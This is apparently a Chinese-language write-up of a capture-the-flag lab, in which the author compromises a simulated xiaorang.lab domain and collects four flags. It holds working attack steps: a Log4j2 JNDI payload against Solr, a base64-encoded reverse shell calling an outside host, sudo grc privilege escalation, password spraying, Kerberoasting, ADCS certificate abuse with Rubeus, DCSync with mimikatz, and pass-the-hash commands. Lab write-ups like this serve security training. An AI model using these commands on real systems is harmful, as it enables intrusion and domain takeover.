用nmap扫描系统信息,用fscan扫描端口的服务
1 | start infoscan |
开启了22端口,应该是linux操作系统
而且发现了solr服务
Solr 是一个开源的搜索平台,它是基于 Apache Lucene 搜索引擎库构建的。Solr 可以处理大量数据,并提供高效的全文检索、分面搜索、动态聚合和自然语言查询等功能。它支持多种格式的数据导入和导出,包括 XML、JSON、CSV、PDF、Word 和 Excel 等格式,还可以通过 RESTful API 进行访问和管理。Solr 被广泛用于各种 Web 应用程序、企业搜索、电子商务和推荐系统等场景。
版本为8.11.0
找找历史漏洞,找到了CVE-2019-0193,但是不满足执行条件,应该是靶场专门这样设置的
这里可以知道使用了log4j2组件,所以尝试使用log4j2进行rce
先检测是否存在log4j2,可以触发的点有
我这里用的第三个点,数据包如下
1 | GET /solr/admin/cores?_=1682346330230&action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=${jndi:ldap://yuantong_loudong_yanzheng.1l8bi6.dnslog.cn}&schema=schema.xml&wt=json HTTP/1.1 |
成功收到dns请求
所以是可能存在log4j2漏洞的
用命令bash -i >& /dev/tcp/ip/port 0>&1
来反弹shell
然后使用https://ares-x.com/tools/runtime-exec/进行编码
执行以下命令生成payload
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDAuMTkzLjIwMi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "110.40.193.202" |
然后替换payload到数据包里,payload根据情况选择即可
1 | GET /solr/admin/cores?_=1682346330230&action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=${jndi:ldap://110.40.193.202:1389/eqx7n7}&schema=schema.xml&wt=json HTTP/1.1 |
成功得到shell
发现需要提权,使用sudo -l
查看有没有可以不用密码就能sudo执行的命令
1 | Matching Defaults entries for solr on ubuntu: |
发现grc可以执行
“grc” 是一个用于美化 Linux 命令输出的工具,它可以为命令行输出添加颜色和格式,以增强可读性
同时也可以用他来提权
使用sudo grc --pty /bin/sh
,来获得root权限的shell
获得第一个flag01: flag{1e08465f-53b5-43d9-890e-267a0abe8e5b}
然后就是老流程
上传fscan扫描内网
1 | wget http://110.40.193.202:2000/fscan_386 |
1 | start infoscan |
除了本机172.22.9.19
还有
1 | 172.22.9.47 fileserver |
上传frp搭建内网代理
1 | pytho3 -m http.server 2000 |
从fscan扫描的结果上发现没有什么可以利用的地方,但是他们都开了445端口,即smb服务
连接一下172.22.9.47 fileserver
的smb服务
1 | proxychains smbclient -L 172.22.9.47 |
发现存在一个fileshare服务,连接之
1 | proxychains smbclient \\\\172.22.9.47\\fileshare |
一个secret文件夹,一个personnel.db,还有关于Certified Pre-Owned的文件,妥妥的使用这里面的技术进行攻击
seceret文件夹里获得flag02: flag{e1ce4cff-5f0a-42df-8574-d3e250d45045}
这里的提示就是让我们找spn了
在personnel.db里发现了几个密码,但是有几个账户名被遮住了
然后还有member表里面有很多用户
所以尝试使用来爆破一下登录,用数据库里的密码和member表的用户做字典,进行密码喷洒
用nmap扫描一下内网主机哪些开了3389端口
可以使用hydra或者crackmapexec进行喷洒
1 | crackmapexec smb 172.22.9.26 -u user.txt -p password.txt |
然后发现xiaorang.lab\liupeng:fiAzGwEMgTY
可以登录
但是发现。。。凭据是对的,但是连不上。。。
是不是得找其他凭据,因为他提示了让找spn,可能是使用Kerberoasting攻击来获得服务账户的密码
使用impacket来获得注册在xiaorang.lab\liupeng用户下的SPN的服务票据(ST)
1 | proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab\liupeng:fiAzGwEMgTY -outputfile hash.txt |
可以发现存在4个SPN和两个服务账户的hash
用hashcat进行爆破
1 | hashcat -m 13100 -a 0 st.txt ../dict/rockyou.txt -o res.txt |
得到两个账户的密码
1 | zhangxia:MyPass2@@6 |
然后使用这两个凭据进行rdp登录,发现都能登录成功
查看这两个用户的信息,都是Domain Users组的成员,但是zhangxia还在XR Users组
这里没有什么可以利用的地方,那就从ADCS入手吧
先查找可能存在错误配置的证书模板
1 | certutil -v -template > cert_templates.txt |
使用证书模板攻击有三个条件
模板XR Machine
符合条件
然后申请注册证书
使用mmc
打开控制台,查看了Domain Admins组后发现,只有一个administrator用户,所以就为administrator申请一个证书
将SAN设置为administrator@xiaorang.lab
,然后为用XR Manager模板申请证书
导出证书,使用Rubeus,创建TGT
1 | Rubeus.exe asktgt /user:administrator /enctype:aes256 /certificate:evil.pfx /password:123 /outfile:administrator.kirbi /domain:xiaorang.lab /dc:172.22.9.7 |
然后注入票据到上下文
1 | Rubeus.exe ptt /ticket:administrator.kirbi |
接下来没有什么头绪,那就使用Bloodhound来分析吧
1 | SharpHound.exe --CollectionMethods All --Domain xiaorang --ExcludeDCs |
还是没啥头绪,试试使用dcsync来导出administrator的hash版本
1 | mimikatz.exe |
获得域管hash,直接拿下!
使用smbexec进行hash传递到CA服务器主机
1 | proxychains python3 smbexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26 |
获得flag03: flag{4fdf6850-d3eb-41ae-a09c-ae4718edad3d}
发现使用smbexec.py和psexec.py都无法获得域控的命令行
尝试使用Rebeus修改Administrator的密码
1 | Rubeus.exe changepw /ticket:administrator.kirbi /new:159357fule! /dc:xiaorang.lab /targetuser:xiaorang.lab\administrator |
发现也会报错
1 | proxychains evil-winrm -i 172.22.9.27 -u Administrator -H 2f1b57eefb2d152196836b0516abea80 |
最后使用wmiexec进行hash传递获得lag04: flag{18f4f78d-c8b4-4db0-a67c-925035614728}
1 | proxychains python3 wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7 |